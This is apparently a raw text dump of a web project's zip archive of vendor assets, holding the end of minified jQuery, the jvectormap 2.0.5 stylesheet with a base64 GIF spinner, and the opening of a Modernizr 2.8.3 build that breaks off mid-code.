t?parseInt(t,10):rt.test(e.nodeName)||it.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function ot(e){return(e.match(I)||[]).join(" ")}function at(e){return e.getAttribute&&e.getAttribute("class")||""}function ut(e){return Array.isArray(e)?e:"string"==typeof e?e.match(I)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,u,s=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,at(this)))});if((t=ut(e)).length)while(n=this[s++])if(i=at(n),r=1===n.nodeType&&" "+ot(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(u=ot(r))&&n.setAttribute("class",u)}return this},removeClass:function(e){var t,n,r,i,o,a,u,s=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,at(this)))});if(!arguments.length)return this.attr("class","");if((t=ut(e)).length)while(n=this[s++])if(i=at(n),r=1===n.nodeType&&" "+ot(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(u=ot(r))&&n.setAttribute("class",u)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,at(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=ut(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=at(this))&&K.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":K.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+ot(at(n))+" ").indexOf(t)>-1)return!0;return!1}});var st=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(st,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:ot(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,u=a?null:[],s=a?o+1:i.length;for(r=o<0?s:a?o:0;r<s;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!D(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;u.push(t)}return u},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var lt=/^(?:focusinfocus|focusoutblur)$/,ct=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,u,s,l,c,d,p,h,y=[i||r],m=f.call(t,"type")?t.type:t,b=f.call(t,"namespace")?t.namespace.split("."):[];if(u=h=s=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!lt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(b=m.split(".")).shift(),b.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=b.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),p=w.event.special[m]||{},o||!p.trigger||!1!==p.trigger.apply(i,n))){if(!o&&!p.noBubble&&!v(i)){for(l=p.delegateType||m,lt.test(l+m)||(u=u.parentNode);u;u=u.parentNode)y.push(u),s=u;s===(i.ownerDocument||r)&&y.push(s.defaultView||s.parentWindow||e)}a=0;while((u=y[a++])&&!t.isPropagationStopped())h=u,t.type=a>1?l:p.bindType||m,(d=(K.get(u,"events")||{})[t.type]&&K.get(u,"handle"))&&d.apply(u,n),(d=c&&u[c])&&d.apply&&Y(u)&&(t.result=d.apply(u,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||p._default&&!1!==p._default.apply(y.pop(),n)||!Y(i)||c&&g(i[m])&&!v(i)&&((s=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,ct),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,ct),w.event.triggered=void 0,s&&(i[c]=s)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=K.access(r,t);i||r.addEventListener(e,n,!0),K.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=K.access(r,t)-1;i?K.access(r,t,i):(r.removeEventListener(e,n,!0),K.remove(r,t))}}});var ft=/\[\]$/,dt=/\r?\n/g,pt=/^(?:submit|button|image|reset|file)$/i,ht=/^(?:input|select|textarea|keygen)/i;function gt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||ft.test(e)?r(e,i):gt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==b(t))r(e,t);else for(i in t)gt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)gt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&ht.test(this.nodeName)&&!pt.test(e)&&(this.checked||!de.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(dt,"\r\n")}}):{name:t.name,value:n.replace(dt,"\r\n")}}).get()}}),w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=S.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=be([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.offset={setOffset:function(e,t,n){var r,i,o,a,u,s,l,c=w.css(e,"position"),f=w(e),d={};"static"===c&&(e.style.position="relative"),u=f.offset(),o=w.css(e,"top"),s=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+s).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(s)||0),g(t)&&(t=t.call(e,n,w.extend({},u))),null!=t.top&&(d.top=t.top-u.top+a),null!=t.left&&(d.left=t.left-u.left+i),"using"in t?t.using.call(e,d):f.css(d)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||xe})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return _(this,function(e,r,i){var o;if(v(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=ze(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),Me.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),u=n||(!0===i||!0===o?"margin":"border");return _(this,function(t,n,i){var o;return v(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,u):w.style(t,n,i,u)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=D,w.isFunction=g,w.isWindow=v,w.camelCase=Q,w.type=b,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var vt=e.jQuery,yt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=yt),t&&e.jQuery===w&&(e.jQuery=vt),w},t||(e.jQuery=e.$=w),w});
PK��\ ����%js/vendor/jquery-jvectormap-2.0.5.cssnu�[���svg {
    touch-action: none;
}

.jvectormap-container {
    width: 100%;
    height: 100%;
    position: relative;
    overflow: hidden;
    touch-action: none;
}

.jvectormap-tip {
    position: absolute;
    display: none;
    border: solid 1px #CDCDCD;
    border-radius: 3px;
    background: #292929;
    color: white;
    font-family: sans-serif, Verdana;
    font-size: smaller;
    padding: 3px;
}

.jvectormap-zoomin, .jvectormap-zoomout, .jvectormap-goback {
    position: absolute;
    left: 10px;
    border-radius: 3px;
    background: #292929;
    padding: 3px;
    color: white;
    cursor: pointer;
    line-height: 10px;
    text-align: center;
    box-sizing: content-box;
}

.jvectormap-zoomin, .jvectormap-zoomout {
    width: 10px;
    height: 10px;
}

.jvectormap-zoomin {
    top: 10px;
}

.jvectormap-zoomout {
    top: 30px;
}

.jvectormap-goback {
    bottom: 10px;
    z-index: 1000;
    padding: 6px;
}

.jvectormap-spinner {
    position: absolute;
    left: 0;
    top: 0;
    right: 0;
    bottom: 0;
    background: center no-repeat url(data:image/gif;base64,R0lGODlhIAAgAPMAAP///wAAAMbGxoSEhLa2tpqamjY2NlZWVtjY2OTk5Ly8vB4eHgQEBAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAIAAgAAAE5xDISWlhperN52JLhSSdRgwVo1ICQZRUsiwHpTJT4iowNS8vyW2icCF6k8HMMBkCEDskxTBDAZwuAkkqIfxIQyhBQBFvAQSDITM5VDW6XNE4KagNh6Bgwe60smQUB3d4Rz1ZBApnFASDd0hihh12BkE9kjAJVlycXIg7CQIFA6SlnJ87paqbSKiKoqusnbMdmDC2tXQlkUhziYtyWTxIfy6BE8WJt5YJvpJivxNaGmLHT0VnOgSYf0dZXS7APdpB309RnHOG5gDqXGLDaC457D1zZ/V/nmOM82XiHRLYKhKP1oZmADdEAAAh+QQJCgAAACwAAAAAIAAgAAAE6hDISWlZpOrNp1lGNRSdRpDUolIGw5RUYhhHukqFu8DsrEyqnWThGvAmhVlteBvojpTDDBUEIFwMFBRAmBkSgOrBFZogCASwBDEY/CZSg7GSE0gSCjQBMVG023xWBhklAnoEdhQEfyNqMIcKjhRsjEdnezB+A4k8gTwJhFuiW4dokXiloUepBAp5qaKpp6+Ho7aWW54wl7obvEe0kRuoplCGepwSx2jJvqHEmGt6whJpGpfJCHmOoNHKaHx61WiSR92E4lbFoq+B6QDtuetcaBPnW6+O7wDHpIiK9SaVK5GgV543tzjgGcghAgAh+QQJCgAAACwAAAAAIAAgAAAE7hDISSkxpOrN5zFHNWRdhSiVoVLHspRUMoyUakyEe8PTPCATW9A14E0UvuAKMNAZKYUZCiBMuBakSQKG8G2FzUWox2AUtAQFcBKlVQoLgQReZhQlCIJesQXI5B0CBnUMOxMCenoCfTCEWBsJColTMANldx15BGs8B5wlCZ9Po6OJkwmRpnqkqnuSrayqfKmqpLajoiW5HJq7FL1Gr2mMMcKUMIiJgIemy7xZtJsTmsM4xHiKv5KMCXqfyUCJEonXPN2rAOIAmsfB3uPoAK++G+w48edZPK+M6hLJpQg484enXIdQFSS1u6UhksENEQAAIfkECQoAAAAsAAAAACAAIAAABOcQyEmpGKLqzWcZRVUQnZYg1aBSh2GUVEIQ2aQOE+G+cD4ntpWkZQj1JIiZIogDFFyHI0UxQwFugMSOFIPJftfVAEoZLBbcLEFhlQiqGp1Vd140AUklUN3eCA51C1EWMzMCezCBBmkxVIVHBWd3HHl9JQOIJSdSnJ0TDKChCwUJjoWMPaGqDKannasMo6WnM562R5YluZRwur0wpgqZE7NKUm+FNRPIhjBJxKZteWuIBMN4zRMIVIhffcgojwCF117i4nlLnY5ztRLsnOk+aV+oJY7V7m76PdkS4trKcdg0Zc0tTcKkRAAAIfkECQoAAAAsAAAAACAAIAAABO4QyEkpKqjqzScpRaVkXZWQEximw1BSCUEIlDohrft6cpKCk5xid5MNJTaAIkekKGQkWyKHkvhKsR7ARmitkAYDYRIbUQRQjWBwJRzChi9CRlBcY1UN4g0/VNB0AlcvcAYHRyZPdEQFYV8ccwR5HWxEJ02YmRMLnJ1xCYp0Y5idpQuhopmmC2KgojKasUQDk5BNAwwMOh2RtRq5uQuPZKGIJQIGwAwGf6I0JXMpC8C7kXWDBINFMxS4DKMAWVWAGYsAdNqW5uaRxkSKJOZKaU3tPOBZ4DuK2LATgJhkPJMgTwKCdFjyPHEnKxFCDhEAACH5BAkKAAAALAAAAAAgACAAAATzEMhJaVKp6s2nIkolIJ2WkBShpkVRWqqQrhLSEu9MZJKK9y1ZrqYK9WiClmvoUaF8gIQSNeF1Er4MNFn4SRSDARWroAIETg1iVwuHjYB1kYc1mwruwXKC9gmsJXliGxc+XiUCby9ydh1sOSdMkpMTBpaXBzsfhoc5l58Gm5yToAaZhaOUqjkDgCWNHAULCwOLaTmzswadEqggQwgHuQsHIoZCHQMMQgQGubVEcxOPFAcMDAYUA85eWARmfSRQCdcMe0zeP1AAygwLlJtPNAAL19DARdPzBOWSm1brJBi45soRAWQAAkrQIykShQ9wVhHCwCQCACH5BAkKAAAALAAAAAAgACAAAATrEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiRMDjI0Fd30/iI2UA5GSS5UDj2l6NoqgOgN4gksEBgYFf0FDqKgHnyZ9OX8HrgYHdHpcHQULXAS2qKpENRg7eAMLC7kTBaixUYFkKAzWAAnLC7FLVxLWDBLKCwaKTULgEwbLA4hJtOkSBNqITT3xEgfLpBtzE/jiuL04RGEBgwWhShRgQExHBAAh+QQJCgAAACwAAAAAIAAgAAAE7xDISWlSqerNpyJKhWRdlSAVoVLCWk6JKlAqAavhO9UkUHsqlE6CwO1cRdCQ8iEIfzFVTzLdRAmZX3I2SfZiCqGk5dTESJeaOAlClzsJsqwiJwiqnFrb2nS9kmIcgEsjQydLiIlHehhpejaIjzh9eomSjZR+ipslWIRLAgMDOR2DOqKogTB9pCUJBagDBXR6XB0EBkIIsaRsGGMMAxoDBgYHTKJiUYEGDAzHC9EACcUGkIgFzgwZ0QsSBcXHiQvOwgDdEwfFs0sDzt4S6BK4xYjkDOzn0unFeBzOBijIm1Dgmg5YFQwsCMjp1oJ8LyIAACH5BAkKAAAALAAAAAAgACAAAATwEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiUd6GGl6NoiPOH16iZKNlH6KmyWFOggHhEEvAwwMA0N9GBsEC6amhnVcEwavDAazGwIDaH1ipaYLBUTCGgQDA8NdHz0FpqgTBwsLqAbWAAnIA4FWKdMLGdYGEgraigbT0OITBcg5QwPT4xLrROZL6AuQAPUS7bxLpoWidY0JtxLHKhwwMJBTHgPKdEQAACH5BAkKAAAALAAAAAAgACAAAATrEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiUd6GAULDJCRiXo1CpGXDJOUjY+Yip9DhToJA4RBLwMLCwVDfRgbBAaqqoZ1XBMHswsHtxtFaH1iqaoGNgAIxRpbFAgfPQSqpbgGBqUD1wBXeCYp1AYZ19JJOYgH1KwA4UBvQwXUBxPqVD9L3sbp2BNk2xvvFPJd+MFCN6HAAIKgNggY0KtEBAAh+QQJCgAAACwAAAAAIAAgAAAE6BDISWlSqerNpyJKhWRdlSAVoVLCWk6JKlAqAavhO9UkUHsqlE6CwO1cRdCQ8iEIfzFVTzLdRAmZX3I2SfYIDMaAFdTESJeaEDAIMxYFqrOUaNW4E4ObYcCXaiBVEgULe0NJaxxtYksjh2NLkZISgDgJhHthkpU4mW6blRiYmZOlh4JWkDqILwUGBnE6TYEbCgevr0N1gH4At7gHiRpFaLNrrq8HNgAJA70AWxQIH1+vsYMDAzZQPC9VCNkDWUhGkuE5PxJNwiUK4UfLzOlD4WvzAHaoG9nxPi5d+jYUqfAhhykOFwJWiAAAIfkECQoAAAAsAAAAACAAIAAABPAQyElpUqnqzaciSoVkXVUMFaFSwlpOCcMYlErAavhOMnNLNo8KsZsMZItJEIDIFSkLGQoQTNhIsFehRww2CQLKF0tYGKYSg+ygsZIuNqJksKgbfgIGepNo2cIUB3V1B3IvNiBYNQaDSTtfhhx0CwVPI0UJe0+bm4g5VgcGoqOcnjmjqDSdnhgEoamcsZuXO1aWQy8KAwOAuTYYGwi7w5h+Kr0SJ8MFihpNbx+4Erq7BYBuzsdiH1jCAzoSfl0rVirNbRXlBBlLX+BP0XJLAPGzTkAuAOqb0WT5AH7OcdCm5B8TgRwSRKIHQtaLCwg1RAAAOwAAAAAAAAAAAA==);
}

.jvectormap-legend-title {
    font-weight: bold;
    font-size: 14px;
    text-align: center;
}

.jvectormap-legend-cnt {
    position: absolute;
}

.jvectormap-legend-cnt-h {
    bottom: 0;
    right: 0;
}

.jvectormap-legend-cnt-v {
    top: 0;
    right: 0;
}

.jvectormap-legend {
    background: black;
    color: white;
    border-radius: 3px;
}

.jvectormap-legend-cnt-h .jvectormap-legend {
    float: left;
    margin: 0 10px 10px 0;
    padding: 3px 3px 1px 3px;
}

.jvectormap-legend-cnt-h .jvectormap-legend .jvectormap-legend-tick {
    float: left;
}

.jvectormap-legend-cnt-v .jvectormap-legend {
    margin: 10px 10px 0 0;
    padding: 3px;
}

.jvectormap-legend-cnt-h .jvectormap-legend-tick {
    width: 40px;
}

.jvectormap-legend-cnt-h .jvectormap-legend-tick-sample {
    height: 15px;
}

.jvectormap-legend-cnt-v .jvectormap-legend-tick-sample {
    height: 20px;
    width: 20px;
    display: inline-block;
    vertical-align: middle;
}

.jvectormap-legend-tick-text {
    font-size: 12px;
}

.jvectormap-legend-cnt-h .jvectormap-legend-tick-text {
    text-align: center;
}

.jvectormap-legend-cnt-v .jvectormap-legend-tick-text {
    display: inline-block;
    vertical-align: middle;
    line-height: 20px;
    padding-left: 3px;
}PK��\N���<�< js/vendor/modernizr-2.8.3.min.jsnu�[���/* Modernizr 2.8.3 (Custom Build) | MIT & BSD
 * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-applicationcache-canvas-canvastext-draganddrop-hashchange-history-audio-video-indexeddb-input-inputtypes-localstorage-postmessage-sessionstorage-websockets-websqldatabase-webworkers-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-shiv-mq-cssclasses-addtest-prefixed-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load
 */
;window.Modernizr=function(a,b,c){function D(a){j.cssText=a}function E(a,b){return D(n.join(a+";")+(b||""))}function F(a,b){return typeof a===b}function G(a,b){return!!~(""+a).indexOf(b)}function H(a,b){for(var d in a){var e=a[d];if(!G(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function I(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:F(f,"function")?f.bind(d||b):f}return!1}function J(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return F(b,"string")||F(b,"undefined")?H(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),I(e,b,c))}function K(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)u[c[d]]=c[d]in k;return u.list&&(u.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),u}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:absolute;visibility:hidden;",/^range$/.test(f)&&k.style.WebkitAppearance!==c?(g.appendChild(k),h=b.defaultView,e=h.getComputedStyle&&h.getComputedStyle(k,null).WebkitAppearance!=="textfield"&&k.offsetHeight!==0,g.removeChild(k)):/^(search|tel)$/.test(f)||(/^(url|email)$/.test(f)?e=k.checkValidity&&k.checkValidity()===!1:e=k.value!=l)),t[a[d]]=!!e;return t}("search tel url email datetime date month week time datetime-local number range color".split(" "))}var d="2.8.3",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k=b.createElement("input"),l=":)",m={}.toString,n=" -webkit- -moz- -o- -ms- ".split(" "),o="Webkit Moz O ms",p=o.split(" "),q=o.toLowerCase().split(" "),r={svg:"http://www.w3.org/2000/svg"},s={},t={},u={},v=[],w=v.slice,x,y=function(a,c,d,e){var f,i,j,k,l=b.createElement("div"),m=b.body,n=m||b.createElement("body");if(parseInt(d,10))while(d--)j=b.createElement("div"),j.id=e?e[d]:h+(d+1),l.appendChild(j);return f=["&#173;",'<style id="s',h,'">',a,"</style>"].join(""),l.id=h,(m?l:n).innerHTML+=f,n.appendChild(l),m||(n.style.background="",n.style.overflow="hidden",k=g.style.overflow,g.style.overflow="hidden",g.appendChild(n)),i=c(l,a),m?l.parentNode.removeChild(l):(n.parentNode.removeChild(n),g.style.overflow=k),!!i},z=function(b){var c=a.matchMedia||a.msMatchMedia;if(c)return c(b)&&c(b).matches||!1;var d;return y("@media "+b+" { #"+h+" { position: absolute; } }",function(b){d=(a.getComputedStyle?getComputedStyle(b,null):b.currentStyle)["position"]=="absolute"}),d},A=function(){function d(d,e){e=e||b.createElement(a[d]||"div"),d="on"+d;var f=d in e;return f||(e.setAttribute||(e=b.createElement("div")),e.setAttribute&&e.removeAttribute&&(e.setAttribute(d,""),f=F(e[d],"function"),F(e[d],"undefined")||(e[d]=c),e.removeAttribute(d))),e=null,f}var a={select:"input",change:"input",submit:"form",reset:"form",error:"img",load:"img",abort:"img"};return d}(),B={}.hasOwnProperty,C;!F(B,"undefined")&&!F(B.call,"undefined")?C=function(a,b){return B.call(a,b)}:C=function(a,b){return b in a&&F(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=w.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(w.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(w.call(arguments)))};return e}),s.flexbox=function(){return J("flexWrap")},s.canvas=function(){var a=b.createElement("canvas");return!!a.getContext&&!!a.getContext("2d")},s.canvastext=function(){return!!e.canvas&&!!F(b.createElement("canvas").getContext("2d").fillText,"function")},s.webgl=function(){return!!a.WebGLRenderingContext},s.touch=function(){var c;return"ontouchstart"in a||a.DocumentTouch&&b instanceof DocumentTouch?c=!0:y(["@media (",n.join("touch-enabled),("),h,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(a){c=a.offsetTop===9}),c},s.geolocation=function(){return"geolocation"in navigator},s.postmessage=function(){return!!a.postMessage},s.websqldatabase=function(){return!!a.openDatabase},s.indexedDB=function(){return!!J("indexedDB",a)},s.hashchange=function(){return A("hashchange",a)&&(b.documentMode===c||b.documentMode>7)},s.history=function(){return!!a.history&&!!history.pushState},s.draganddrop=function(){var a=b.createElement("div");return"draggable"in a||"ondragstart"in a&&"ondrop"in a},s.websockets=function(){return"WebSocket"in a||"MozWebSocket"in a},s.rgba=function(){return D("background-color:rgba(150,255,150,.5)"),G(j.backgroundColor,"rgba")},s.hsla=function(){return D("background-color:hsla(120,40%,100%,.5)"),G(j.backgroundColor,"rgba")||G(j.backgroundColor,"hsla")},s.multiplebgs=function(){return D("background:url(https://),url(https://),red url(https://)"),/(url\s*\(.*?){3}/.test(j.background)},s.backgroundsize=function(){return J("backgroundSize")},s.borderimage=function(){return J("borderImage")},s.borderradius=function(){return J("borderRadius")},s.boxshadow=function(){return J("boxShadow")},s.textshadow=function(){return b.createElement("div").style.textShadow===""},s.opacity=function(){return E("opacity:.55"),/^0.55$/.test(j.opacity)},s.cssanimations=function(){return J("animationName")},s.csscolumns=function(){return J("columnCount")},s.cssgradients=function(){var a="background-image:",b="gradient(linear,left top,right bottom,from(#9f9),to(white));",c="linear-gradient(left top,#9f9, white);";return D((a+"-webkit- ".split(" ").join(b+a)+n.join(c+a)).slice(0,-a.length)),G(j.backgroundImage,"gradient")},s.cssreflections=function(){return J("boxReflect")},s.csstransforms=function(){return!!J("transform")},s.csstransforms3d=function(){var a=!!J("perspective");return a&&"webkitPerspective"in 